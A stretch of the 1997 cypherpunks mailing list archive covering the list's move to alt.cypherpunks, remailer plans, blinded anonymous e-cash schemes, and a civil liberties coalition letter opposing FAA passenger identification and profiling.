monkey" From paul at fatmans.demon.co.uk Wed Feb 12 16:41:58 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 16:41:58 -0800 (PST) Subject: Spam posts from my acct. Message-ID: <199702130041.QAA10399@toad.com> Cpunks, A number of spam mails (I counted about 100 in my incoming mail) were sent to the list from my account last night. I do not take particular precautions with my password for this account as there is no sensitive mail sent through it, I recall in particular giving the password to someone to test out a machine recently and I believe they may be the culprit. Again, my appologies for the inconvenience and you have to admit that while his method may have been less than subtle his message was certainly something we can all relate to ;-) Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From tcmay at got.net Wed Feb 12 16:42:25 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 12 Feb 1997 16:42:25 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" Message-ID: <199702130042.QAA10417@toad.com> At 5:49 PM -0600 2/12/97, Firebeard wrote: >>>>>> Timothy C May writes: > >TCM> Since posting my comments I've just seen the proposal that tivoli >TCM> may host a list. > > Whoa, Nellie! Who made that proposal? It certainly wasn't >me! I said that I was taking steps to set up a majordomo to host a >cypherpunks list. Topmost on those steps is creation of the sten.net >or sten.org domain, and getting a personal, >paid-for-out-of-my-own-pocket, ISDN connection. The majordomo will >run off of my personal computer sitting in my apartment, not on Tivoli >hardware sitting in the support lab. As I said, John forced my hand >in his announcement, causing me to 'put up' before everything was in >place, including the domain registration. Yes, my mail comes from >sten.tivoli.com. That doesn't mean that everything I do in life is >connected to Tivoli, IBM, etc. Sorry, I was just going by what I saw in your e-mail address. My point was not really about Tivoli, or IBM, or any other particular company, though. I was making the point that _any_ site distributing a list is likely to face legal pressures not to carry certain items. Read between the lines (or read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and the products of Sandy's company, and legal pressures applied, to see what I mean. --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From markm at voicenet.com Wed Feb 12 16:42:39 1997 From: markm at voicenet.com (Mark M.) Date: Wed, 12 Feb 1997 16:42:39 -0800 (PST) Subject: anonymity and e-cash In-Reply-To: Message-ID: -----BEGIN PGP SIGNED MESSAGE----- On 12 Feb 1997 janke at unixg.ubc.ca wrote: > It's not too hard: The payee forwards a blinded, non-signed coin > to the payer. The payer has the bank sign this, and then returns > it to the payee who strips out the blinding factor. This is correct except for the fact that the payer also has to apply a blinding factor to the coin, thus making it a "double-blinded" coin. It gets signed by the bank, the payer divides the coin by the blinding factor and sends it to the payee, who then strips out his blinding factor. Ecash coins can also be laundered making the above scheme mostly unnecessary. Since most people will probably not look upon fully anonymous ecash highly, laundering will be a more popular option as it cannot be prevented. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMwJkjyzIPc7jvyFpAQFHcwgAm2TZXg3wVDCtXyHBdq7WX44iA+nIvmHJ GlcXCjyKBEmvRPfkvU/NUnS1cRfjsPh5ZmjNwjBc21lwxjcOLFtu+3Mcd6tNoyYQ 4Abp4lvJLnpGAtAVeSeTAw+7mzwrC0jfWgt2meNbnyp2WxLxg/JA7VGGkS39g4Jm +i3F8H00mFJfmZUGpAiywE7GNobCXeppPJOn/QHA4/FrWJx5hE39qgB7U+AFwYVP PHGy4SSSBeKWciK83DU3Bz6ptygznL7fHW4vOZ8UM5QZjbyiDomVriSuJHw0lKdH r63BhOqYPXgMHgsa28XTlI9AWN5PpaIbvORTHOWv40EF3nGVrWGnMw== =Vpit -----END PGP SIGNATURE----- From tcmay at got.net Wed Feb 12 16:44:19 1997 From: tcmay at got.net (Tim May) Date: Wed, 12 Feb 1997 16:44:19 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702130044.QAA10501@toad.com> (A copy of this message has also been posted to the following newsgroups: alt.cypherpunks, talk.politics.crypto,sci.crypt) At 1:19 PM -0800 2/12/97, Lee Tien wrote (on the Cypherpunks at toad.com list): >The NSA's research report on e-cash says: > > "The ideal situation (from the point of view of privacy advocates) >is that neither payer nor payee should know the identity of the other. This >makes remote transactions using electronic cash totally anonymous: no one >knows where Alice spends her money and who pays her. > > "It turns out that this is too much to ask: there is no way in such >a scenario for the consumer to obtain a signed receipt. Thus we are forced >to settle for payer anonymity." > >Keeping in mind I am only a lawyer, my skim of Schneier (2d ed.) didn't >illuminate. The discussion of digital cash seemed to assume no payee >anonymity. But the immediate previous section of dining cryptographers >involved (it seemed) recipient untraceability. > >Is payee anonymity technically possible? Under what conditions? > >If so, is the issue social, e.g., as NSA notes, the lack of a signed receipt? You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday Cypherpunks meeting at Stanford, where Ian talked for more than an hour on just this issue. (He also talked for an hour on his crack of the RSA challenge using 250 workstations...this was also a good talk.) It was explicitly stated in Chaum's 1985 paper that methods existed to ensure full untraceability. Chaum has in recent years emphasized a more "surveillance friendly" system in which some of the anonymity is lost. It was the intuition of some of us that "coin changers" could solve this problem, e.g, by having intermediaries to "mix" the coins and thus break the traceability chain. Lucky Green wrote some articles along these lines, and maybe Hal Finney, too. This was a couple of years ago. The notion is similar to what Ian showed, but our arguments were not formal and robust. In August of '95, Doug Barnes released a long article on "Identity Agnostic" systems. (His article is no longer at the www.communities.com Web site, so I can't refer you to it. Maybe he'll post it again.) About a year ago Ian Goldberg considered this issue and came up with a solution which has seemingly reproduced what Chaum was thinking about (but, apparently, did not make completely clear in his papers, for whatever reasons). Ian deals with the issue of "making change" and comes up with a system in which intermediaries, which we may call "e-cashiers" and "moneychangers," can take on the role of the mint/bank. By making "negative deposits" (submitting signed withdrawal slips, effectively), these intermediaries function as moneychangers. And so the one-way anonymous features become two-way (effectively, each of the transactions contributes a "one-way anonymous" component: one-way + one-way = two-way). It is much easier to understand digital cash with the usual diagram showing the usual triangle of CUSTOMER-MERCHANT-MINT and then analyzing the flow of information, who knows what, etc. Drawing such diagrams in e-mail is beyond my patience. This system used online clearing, of course. This "disintermediates" the process, and makes for an "everyone a mint" situation, which has some of the same nice properties that an "everyone a remailer" ecology of remailers and users has. And the principle can be extended further back, to where the usual distinctions between CUSTOMER and MERCHANT vanish (as it sort of does in the real world, where the two parties are merely exchanging one item for another item), and where the role of the MINT is minimal. In fact, Ian showed, the Chaum patents on blinding are NOT USED by the Mint/Bank; only the CUSTOMER uses the blinding patents (and the MERCHANT in some cases, not in other cases). This means that "anyone a mint" does not violate any of the Chaum/Digicash patents, and "mint clients" are likely to be written by third parties. (The _customer_ is presumably on the honor system to abide by the Chaum patents...except the patents are only being licensed to banks...go figure.) (This is where, as I recall, Doug's "agnostic" system came in...it is possible his thinking was similar to Ian's...I don't have Doug's paper handy.) Ian demonstrated this on an actual system, with real live connections to mints in various countries, but with the blinding not used (as I recall). Draw your own conclusions about what this means. It was heady stuff, seeing the result many of us believed to be implicit in Chaum's 1985 paper made real. Everyone a mint. This makes the spread of fully anonymous digital cash harder to stop. Issues of the mint denying one has an account are always real ones, but not important--I think--in the real world. The untraceability of the digital coins means that a mint never knows who is testing it for reliability and "honesty," and the mint cannot set out to "screw" a particular customer by declaring his account not to exist (as the mint almost certainly does not have to know who own which accounts, as deposits can be made anonymously). I hope this helps. I plan to use this result centrally in my talk at the panel discussion on "Governmental and Social Implications of Digital Cash" at the upcoming CFP. --Tim May -- Boycott "Big Brother Inside" software! We got computers, we're tapping phone lines, we know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Licensed Ontologist | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From tcmay at got.net Wed Feb 12 16:51:43 1997 From: tcmay at got.net (Timothy C. May) Date: Wed, 12 Feb 1997 16:51:43 -0800 (PST) Subject: alt.cypherpunks created Message-ID: <199702130051.QAA10758@toad.com> At 3:06 PM -0800 2/12/97, Greg Broiles wrote: >According to DejaNews, Mike Duvos has also issued a newgroup for >alt.cypherpunks: I've already posted two articles to it. I expect it to be the main place I post my words, as it eliminates any possibility that some site admin will "moderate" my essays. (And few of my articles in the last several days have made it to the Main list. They were not flames, but apparently failed Sandy's test of relevance.) --Tim May Just say "No" to "Big Brother Inside" We got computers, we're tapping phone lines, I know that that ain't allowed. ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, tcmay at got.net 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^1398269 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From ravage at EINSTEIN.ssz.com Wed Feb 12 16:52:51 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 16:52:51 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <199702130059.SAA02356@einstein> Forwarded message: > Date: Wed, 12 Feb 1997 18:47 EDT > From: "E. Allen Smith" > Subject: Re: Cypherpunks Distributed Remailer (fwd) > > Someone with more experience correct me if I'm wrong (I'm just > starting to learn about mailing list management), but isn't saving > at least the first bounce from a given address good in order to check > what address is the one that's actually bouncing? Admittedly, this only > applies to badly-formed bounces. The rest can just have the address > noted. Hmmm, I can see saving the address causing the bounce in some sort of array that is indexed to the majordomo subscription list for a given remailer. It would not cost anything but overhead to save the entire message. I guess my motivation was not that I cared their mailbox was full or it was a invalid address but that I wouldn't be able to deliver at this time. I just don't see any reason that it helps me to know why they can't receive mail only that they can't. > >Want to volunteer? > > Give me some idea of how much programming knowledge, time, etcetera > is required, please, before I can answer. I'd be renting space on some other > computer (e.g., an account on cyberpass.net) to do it in; the only higher-level > programming language (i.e., beyond Applesoft Basic) that I know anything of > is Perl (and I don't know that all that well); and I am somewhat busy with > other stuff. In other words, it depends. Hmmm, not shure how much programming it would take - never done it myself. I think Perl would be an acceptable language. I certainly hope to do the majority of the scripts on the CDR in Perl myself. Perhaps there is somebody who knows the fine points of how INN cache's messages. Redbeard and I had a short discussion about this issue today relating to tracking messages to reduce mail-loops. I will discuss it with him and see what happens. I know exactly what you mean. I have two full-time jobs and hadn't really thought of taking on the cpunks list in any manner. But hey, that is the spice in life... Give me a couple of days to look at the situation and if somebody don't beat me to it I'll post what I find out. Cool? Jim Choate CyberTects ravage at ssz.com From paul at fatmans.demon.co.uk Wed Feb 12 17:02:20 1997 From: paul at fatmans.demon.co.uk (paul at fatmans.demon.co.uk) Date: Wed, 12 Feb 1997 17:02:20 -0800 (PST) Subject: Network of majordomos Message-ID: <199702130102.RAA11047@toad.com> > What was your chater? Could you Cc a copy to the list? I didn`t save it but it was something along the lines of this: Charter: alt.cypherpunks will serve as a discussion forum for the members of the cypherpunks community. The discussion group previously resided on a mailing list run at toad.com but due to a difference of opinion between the majority of active members of the list and the owner of toad.com, John Gilmore, the list must now relocate onto usenet as a temporary measure while further measures are put in place to re-establish a mailing list format. The group has approximately 1500 members and has been active online for some 5 years. Datacomms Technologies web authoring and data security Paul Bradley, Paul at fatmans.demon.co.uk Paul at crypto.uk.eu.org, Paul at cryptography.uk.eu.org Http://www.cryptography.home.ml.org/ Email for PGP public key, ID: 5BBFAEB1 "Don`t forget to mount a scratch monkey" From ravage at EINSTEIN.ssz.com Wed Feb 12 17:12:11 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 17:12:11 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" (fwd) Message-ID: <199702130118.TAA02401@einstein> Forwarded message: > Date: Wed, 12 Feb 1997 16:22:28 -0800 > From: "Timothy C. May" > Subject: Re: Recommendation: Creation of "alt.cypherpunks" > I was making the point that _any_ site distributing a list is likely to > face legal pressures not to carry certain items. Read between the lines (or > read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and > the products of Sandy's company, and legal pressures applied, to see what I > mean. This is exactly the reason that my suggestion to anyone setting up a remailer with any sort of controversial content should do it as some sort of outreach of their business. It is too expensive in time, money, and hassles to do for grins and giggles. Jim Choate CyberTects ravage at ssz.com From stewarts at ix.netcom.com Wed Feb 12 17:15:13 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 12 Feb 1997 17:15:13 -0800 (PST) Subject: Cypherpunks Distributed Remailer In-Reply-To: <199702121410.GAA19543@toad.com> Message-ID: <3.0.1.32.19970212171002.0062c798@popd.ix.netcom.com> At 08:03 PM 2/11/97 -0600, Jim Choate wrote: >What is the current future of the Cypherpunks webpage? Will it continue to >be kept up or is it going down as well? If you mean the one on soda.berkeley.edu, the last I checked nobody had updated it in a year or more, but it was still ticking. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From stewarts at ix.netcom.com Wed Feb 12 17:16:55 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 12 Feb 1997 17:16:55 -0800 (PST) Subject: List! No Way: Creati In-Reply-To: <199702121426.GAA19999@toad.com> Message-ID: <3.0.1.32.19970212170409.0062b768@popd.ix.netcom.com> At 11:23 PM 2/11/97 -0500, harka at nycmetro.com wrote: >Were it possible to use Perry's PGPDomo, which would effectively >keep out at least the Spammers? That'll keep out the outside spammers; it won't keep out anybody trying to attack the list (if people can do that with remailers, they can figure out how to do it with PGP...) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From ravage at EINSTEIN.ssz.com Wed Feb 12 17:22:56 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 17:22:56 -0800 (PST) Subject: Network of majordomos (fwd) Message-ID: <199702130129.TAA02488@einstein> Forwarded message: > Date: Thu, 13 Feb 1997 00:04:44 +0000 > From: paul at fatmans.demon.co.uk > Subject: Re: Network of majordomos > Charter: > > alt.cypherpunks will serve as a discussion forum for the members of > the cypherpunks community. The discussion group previously resided on > a mailing list run at toad.com but due to a difference of opinion > between the majority of active members of the list and the owner of > toad.com, John Gilmore, the list must now relocate onto usenet as a > temporary measure while further measures are put in place to > re-establish a mailing list format. The group has approximately 1500 > members and has been active online for some 5 years. I would like to see that 'temporary measure' changed to one means of distribution and a resource in addition to the remailer chain. I would really like to see this stay in place. Jim Choate CyberTects ravage at ssz.com From hal at rain.org Wed Feb 12 17:23:45 1997 From: hal at rain.org (Hal Finney) Date: Wed, 12 Feb 1997 17:23:45 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702130059.QAA04891@crypt.hfinney.com> From: tcmay at got.net (Tim May) > You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday > Cypherpunks meeting at Stanford, where Ian talked for more than an hour on > just this issue. (He also talked for an hour on his crack of the RSA > challenge using 250 workstations...this was also a good talk.) I wish I could have heard that, it sounds good... A simple idea we have discussed for full anonymity uses the idea of exchanging coins at the bank. You make an anonymous connection to the bank, supply some ecash you have received along with some blinded new ecash. The bank verifies that the ecash is good and signs your blinded ecash, sending it back to you. You unblind it and have good, fresh smelling ecash which you can keep, spend, or later deposit in your account. If the merchant performs this exchange operation on-line as soon as he receives ecash, then his anonynmity is protected. The customer is protected too, by the blinding he used when he withdrew the ecash earlier. So both sides remain anonymous. It sounds like Ian may have worked out details of a system where third parties do these exchanges. Banks may be reluctant to allow them for liability reasons, and the market, abhoring the vacuum, will supply intermediaries who perform exchanges for a fee. Resolving the various forms of cheating is the hard part. When Lee asks about a signed receipt, it is hard to understand what is the point if the seller is fully anonymous! A signed receipt from a freshly-minted key is not of much use to anyone. If the participants are using persistant pseudonyms then whatever reputation capital they have can be put on the line when cheating happens, although it still may be hard to tell who cheated whom. Did the customer pass bad cash and claim it was good, or did the merchant deposit good cash and claim it was bad? The same thing could happen every day at the supermarket, of course. A customer insists they paid $20 but got change for a $10. If dozens of customers say the same thing has happened to them, we start to mistrust the market, while if several businesses say this particular customer has made the same claim to them, we blame the customer. Hal From rah at shipwright.com Wed Feb 12 17:41:47 1997 From: rah at shipwright.com (Robert Hettinga) Date: Wed, 12 Feb 1997 17:41:47 -0800 (PST) Subject: Shameless FC97 Plug: (Was Re: anonymity and e-cash) Message-ID: <199702130141.RAA12299@toad.com> At 7:08 pm -0500 2/12/97, Tim May wrote: >This "disintermediates" the process, and makes for an "everyone a mint" >situation, which has some of the same nice properties that an "everyone a >remailer" ecology of remailers and users has. And, of course, Ian's going to teach all this fun stuff in Anguilla next week. ;-). E-mail me, and I'll refresh your memory with a workshop program, or just click on the FC97 URL in my .sig, below. We have lots of room. Just don't take American, though American Eagle's okay... Shamelessly yours, P. T. Hettinga Promotional Chairman, FC97 Workshop, Conference, and Exhibition ----------------- Robert Hettinga (rah at shipwright.com), Philodox e$, 44 Farquhar Street, Boston, MA 02131 USA "Never attribute to conspiracy what can be explained by stupidity." -- Jerry Pournelle The e$ Home Page: http://www.shipwright.com/rah/ FC97: Anguilla, anyone? http://www.ai/fc97/ From tobin at edm.net Wed Feb 12 17:53:37 1997 From: tobin at edm.net (Tobin Fricke) Date: Wed, 12 Feb 1997 17:53:37 -0800 (PST) Subject: Speaker needed Message-ID: <199702130153.RAA12977@toad.com> If anyone is going to be in south Orange County, California during the third week in March, and is interested in speaking to a group of high school students on Cryptography and the political and economic considerations involved, please contact me via email at tobin at mail.edm.net. Thank you. (I'm not on cypherpunks, so don't email the list.) Tobin From banisar at epic.org Wed Feb 12 17:54:32 1997 From: banisar at epic.org (Dave Banisar) Date: Wed, 12 Feb 1997 17:54:32 -0800 (PST) Subject: Coalition Letter on Privacy and Airline Security Message-ID: A HTML version of this is available at http://www.epic.org/privacy/faa/airline_security_letter.html February 11, 1997 Vice President Albert Gore, Jr. The White House 1600 Pennsylvanpia Ave, NW Washington, DC 20500 Dear Mr. Vice President, We are writing to you to express our views on the serious civil liberties issues raised by recent government activities in the name of airline security. These include recent orders issued by the Federal Aviation Administration, and also proposals recommended by the White House Commission on Aviation Safety and Security and the FAA Advisory Aviation Security Advisory Committee. Many of these proposals were developed in the highly-charged atmosphere following the still-unsolved crash of TWA Flight 800 and reflect a misguided rationale that something had to be done, no matter how marginal in value or violative of individual rights. We all feel strongly that air travel must be safe - nobody wants to feel that to set foot on an airplane or an airport is to take a substantial safety risk. However, basic civil liberties protected by the Constitution should not be sacrificed in the name of improving air safety, especially where the potential benefits are questionable. At the airport ticket counter, passengers check their luggage, not their constitutional rights. Identification One area of concern is a secret FAA order issued in August 1995 and apparently revised in October 1995. The FAA order purportedly requires airlines to demand government-issued photo identification from all passengers before they can board an airplane. It remains unclear whether a passenger must provide that identification and what discretion an airline has to allow, or refuse, any passenger to board if they refuse to provide identification or simply do not have any available. Americans are not required to carry government-issued identification documents. Any requirement that passengers show identification raises substantial constitutional questions about violations of the rights to privacy, travel, and due process of law. The Supreme Court has consistently struck down laws that interfere with the constitutional right to travel. The Court has also overturned laws in a variety of circumstances that require an individual to provide identification in the absence of any specific suspicion that a crime has been committed. In addition, it is unclear that requiring passenger boarding an aircraft to identify him or herself actually makes the people with whom they travel any safer. A bomber with a fake ID is just as effective as a bomber with no ID. We urge the FAA to withdraw its directive and to notify airlines that identification should not be requested for security reasons. At a minimum, the FAA should require airlines to post notices telling passengers that they cannot be denied boarding just because they fail or refuse to identify themselves. Computer Databases and Profiling Another major concern involves the proposed increased utilization of the practice of "profiling" passengers to determine whether they pose a security risk and should thus be searched. This would require the collection of personal information on passengers prior to their boarding a plane. Information that may be collected includes a picture or other biometric identifier, address, flying patterns with a particular airline, bill paying at a particular address, criminal records, and other information. This, and information gleaned from observing the persons with whom the passenger was traveling, would be fed into a computer data base that would be used to decide whether the passenger "fits the profile" and should be subjected to heightened security measures. Under this proposal, the checked luggage of people selected by the computer would be scanned by new sophisticated scanning devices. The risks to privacy are enormous and run not only to those who "fit the profile." For this system to be useful, it must apply to every person who might take a flight, i.e., to everybody. A new government dossier on everyone would have to be created, computerized, and made accessible to airline personnel. In addition, for the system to be useful, it would have to be linked to other data bases and constantly updated. Each time a person changes their address or takes another flight, or does anything related to the characteristics about them deemed significant by the profiling system, the government would track it. All of our experience with the creation and updating of such ever-changing data bases teaches us that the likelihood of inaccuracy at any given moment is high. The FBI, for instance, recognizes that data in its computer system of criminal records has an inaccuracy rate of 33 percent. Such inaccuracy would lead to both a breach of safety and to violations of the rights of innocent people. This proposal is a quick fix that won't fix anything. The proposal also violates a central principle of the Code of Fair Information Practices and the Privacy Act (5 U.S.C � 552a): information given to the government for one purpose ought not be used for other purposes without the consent of the person to whom it pertains. The use of criminal records in such a data base, particularly where those records include arrests that do not result in convictions, is particularly troubling. Profiling also frequently leads to discriminatory practices. Already, we have received numerous reports of discrimination against individuals and families with children who have been refused entry onto aircraft because their names appeared to be of Middle-Eastern origin. In the well publicized example of security guard Richard Jewel, reports indicated that the FBI profile led the police to unfairly target Mr. Jewel for the incident, even in the absence of other evidence. This incident vividly shows the limitations of basing a law enforcement decision on a profile. We urge the FAA and airlines to discontinue the use of passenger profiling. X-Ray Cameras We also view with concern proposals to install in airports new cameras which can depict highly detailed images of individuals' bodies under their clothes. Existing scanners, the development of which was partially funded by the FAA, already show a revealing and invasive picture of a naked body in high detail and the technology is likely to improve. This is clearly a search under the Fourth Amendment and is far more intrusive than a standard metal screening device. Passengers should not be subject to an "electronic strip search" in order to board an aircraft. To expose travelers' anatomies to the general public or even to selected (not by the victim of the unreasonably intrusive search) strangers is extremely embarrassing and shocking to the conscience. We urge the FAA to reject proposals to use body scanners capable of projecting an image of a person's naked body. Secrecy Much of the key decision-making surrounding these proposals has been shrouded by secrecy. The FAA has claimed that it is exempt from open government laws and has refused to release its directives on profiling and identification. Relevant meetings have been closed to the public or limited to participants who can afford to pay expensive fees. We urge the FAA to publish its directives and open all further decision making open to public scrutiny. Conclusion In conclusion, we believe that these proposals raise grave constitutional issues and are likely to produce only minimally beneficial results to improve airline safety. We urge the FAA and the advisory commissions to focus their efforts on improving security in a balanced and rational manner that is open to public scrutiny and consistent with constitutional rights. Sincerely, Houeida Saad American-Arab Anti-Discrimination Committee Greg Nojeim American Civil Liberties Union Maher Hanania American Federation of Palestine James Lucier, Jr., Director of Economic Research Americans for Tax Reform Aki Namioka, President Computer Professionals for Social Responsibility Lori Fena, Executive Director Electronic Frontier Foundation David Banisar, Staff Counsel Electronic Privacy Information Center Ned Stone Friends Committee on National Legislation Judy Clarke, President National Association of Criminal Defense Lawyers Kit Gage, Washington Representative National Committee Against Repressive Legislation Audrie Krause, Executive Director NetAction Sharisa Alkhateeb North American Council of Muslim Womem Simon Davies, Director General Privacy International Robert Ellis Smith, Publisher Privacy Journal Evan Hendricks, Chairman US Privacy Council and Publisher, The Privacy Times Enver Masud Executive Director The Wisdom Fund John Gilmore Civil Libertarian and co-founder, The Electronic Frontier Foundation ------- David Banisar (Banisar at epic.org) * 202-544-9240 (tel) Electronic Privacy Information Center * 202-547-5482 (fax) 666 Pennsylvania Ave, SE, Suite 301 * HTTP://www.epic.org Washington, DC 20003 * PGP Key http://www.epic.org/staff/banisar/key.html From stewarts at ix.netcom.com Wed Feb 12 17:56:59 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 12 Feb 1997 17:56:59 -0800 (PST) Subject: List! No Way: Creati Message-ID: <199702130156.RAA13314@toad.com> At 11:23 PM 2/11/97 -0500, harka at nycmetro.com wrote: >Were it possible to use Perry's PGPDomo, which would effectively >keep out at least the Spammers? That'll keep out the outside spammers; it won't keep out anybody trying to attack the list (if people can do that with remailers, they can figure out how to do it with PGP...) # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From markm at voicenet.com Wed Feb 12 17:57:20 1997 From: markm at voicenet.com (Mark M.) Date: Wed, 12 Feb 1997 17:57:20 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702130157.RAA13347@toad.com> -----BEGIN PGP SIGNED MESSAGE----- On 12 Feb 1997 janke at unixg.ubc.ca wrote: > It's not too hard: The payee forwards a blinded, non-signed coin > to the payer. The payer has the bank sign this, and then returns > it to the payee who strips out the blinding factor. This is correct except for the fact that the payer also has to apply a blinding factor to the coin, thus making it a "double-blinded" coin. It gets signed by the bank, the payer divides the coin by the blinding factor and sends it to the payee, who then strips out his blinding factor. Ecash coins can also be laundered making the above scheme mostly unnecessary. Since most people will probably not look upon fully anonymous ecash highly, laundering will be a more popular option as it cannot be prevented. Mark -----BEGIN PGP SIGNATURE----- Version: 2.6.3 Charset: noconv iQEVAwUBMwJkjyzIPc7jvyFpAQFHcwgAm2TZXg3wVDCtXyHBdq7WX44iA+nIvmHJ GlcXCjyKBEmvRPfkvU/NUnS1cRfjsPh5ZmjNwjBc21lwxjcOLFtu+3Mcd6tNoyYQ 4Abp4lvJLnpGAtAVeSeTAw+7mzwrC0jfWgt2meNbnyp2WxLxg/JA7VGGkS39g4Jm +i3F8H00mFJfmZUGpAiywE7GNobCXeppPJOn/QHA4/FrWJx5hE39qgB7U+AFwYVP PHGy4SSSBeKWciK83DU3Bz6ptygznL7fHW4vOZ8UM5QZjbyiDomVriSuJHw0lKdH r63BhOqYPXgMHgsa28XTlI9AWN5PpaIbvORTHOWv40EF3nGVrWGnMw== =Vpit -----END PGP SIGNATURE----- From hal at rain.org Wed Feb 12 17:57:26 1997 From: hal at rain.org (Hal Finney) Date: Wed, 12 Feb 1997 17:57:26 -0800 (PST) Subject: anonymity and e-cash Message-ID: <199702130157.RAA13355@toad.com> From: tcmay at got.net (Tim May) > You missed a very good talk by Ian Goldberg of UC Berkeley at the Saturday > Cypherpunks meeting at Stanford, where Ian talked for more than an hour on > just this issue. (He also talked for an hour on his crack of the RSA > challenge using 250 workstations...this was also a good talk.) I wish I could have heard that, it sounds good... A simple idea we have discussed for full anonymity uses the idea of exchanging coins at the bank. You make an anonymous connection to the bank, supply some ecash you have received along with some blinded new ecash. The bank verifies that the ecash is good and signs your blinded ecash, sending it back to you. You unblind it and have good, fresh smelling ecash which you can keep, spend, or later deposit in your account. If the merchant performs this exchange operation on-line as soon as he receives ecash, then his anonynmity is protected. The customer is protected too, by the blinding he used when he withdrew the ecash earlier. So both sides remain anonymous. It sounds like Ian may have worked out details of a system where third parties do these exchanges. Banks may be reluctant to allow them for liability reasons, and the market, abhoring the vacuum, will supply intermediaries who perform exchanges for a fee. Resolving the various forms of cheating is the hard part. When Lee asks about a signed receipt, it is hard to understand what is the point if the seller is fully anonymous! A signed receipt from a freshly-minted key is not of much use to anyone. If the participants are using persistant pseudonyms then whatever reputation capital they have can be put on the line when cheating happens, although it still may be hard to tell who cheated whom. Did the customer pass bad cash and claim it was good, or did the merchant deposit good cash and claim it was bad? The same thing could happen every day at the supermarket, of course. A customer insists they paid $20 but got change for a $10. If dozens of customers say the same thing has happened to them, we start to mistrust the market, while if several businesses say this particular customer has made the same claim to them, we blame the customer. Hal From ravage at EINSTEIN.ssz.com Wed Feb 12 17:58:43 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 17:58:43 -0800 (PST) Subject: Recommendation: Creation of "alt.cypherpunks" (fwd) Message-ID: <199702130158.RAA13462@toad.com> Forwarded message: > Date: Wed, 12 Feb 1997 16:22:28 -0800 > From: "Timothy C. May" > Subject: Re: Recommendation: Creation of "alt.cypherpunks" > I was making the point that _any_ site distributing a list is likely to > face legal pressures not to carry certain items. Read between the lines (or > read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and > the products of Sandy's company, and legal pressures applied, to see what I > mean. This is exactly the reason that my suggestion to anyone setting up a remailer with any sort of controversial content should do it as some sort of outreach of their business. It is too expensive in time, money, and hassles to do for grins and giggles. Jim Choate CyberTects ravage at ssz.com From stewarts at ix.netcom.com Wed Feb 12 17:58:50 1997 From: stewarts at ix.netcom.com (Bill Stewart) Date: Wed, 12 Feb 1997 17:58:50 -0800 (PST) Subject: Cypherpunks Distributed Remailer Message-ID: <199702130158.RAA13471@toad.com> At 08:03 PM 2/11/97 -0600, Jim Choate wrote: >What is the current future of the Cypherpunks webpage? Will it continue to >be kept up or is it going down as well? If you mean the one on soda.berkeley.edu, the last I checked nobody had updated it in a year or more, but it was still ticking. # Thanks; Bill # Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp # (If this is a mailing list, please Cc: me on replies. Thanks.) From ravage at EINSTEIN.ssz.com Wed Feb 12 17:59:02 1997 From: ravage at EINSTEIN.ssz.com (Jim Choate) Date: Wed, 12 Feb 1997 17:59:02 -0800 (PST) Subject: Cypherpunks Distributed Remailer (fwd) Message-ID: <199702130159.RAA13474@toad.com> Forwarded message: > Date: Wed, 12 Feb 1997 18:47 EDT > From: "E. Allen Smith" > Subject: Re: Cypherpunks Distributed Remailer (fwd) > > Someone with more experience correct me if I'm wrong (I'm just > starting to learn about mailing list management), but isn't saving > at least the first bounce from a given address good in order to check > what address is the one 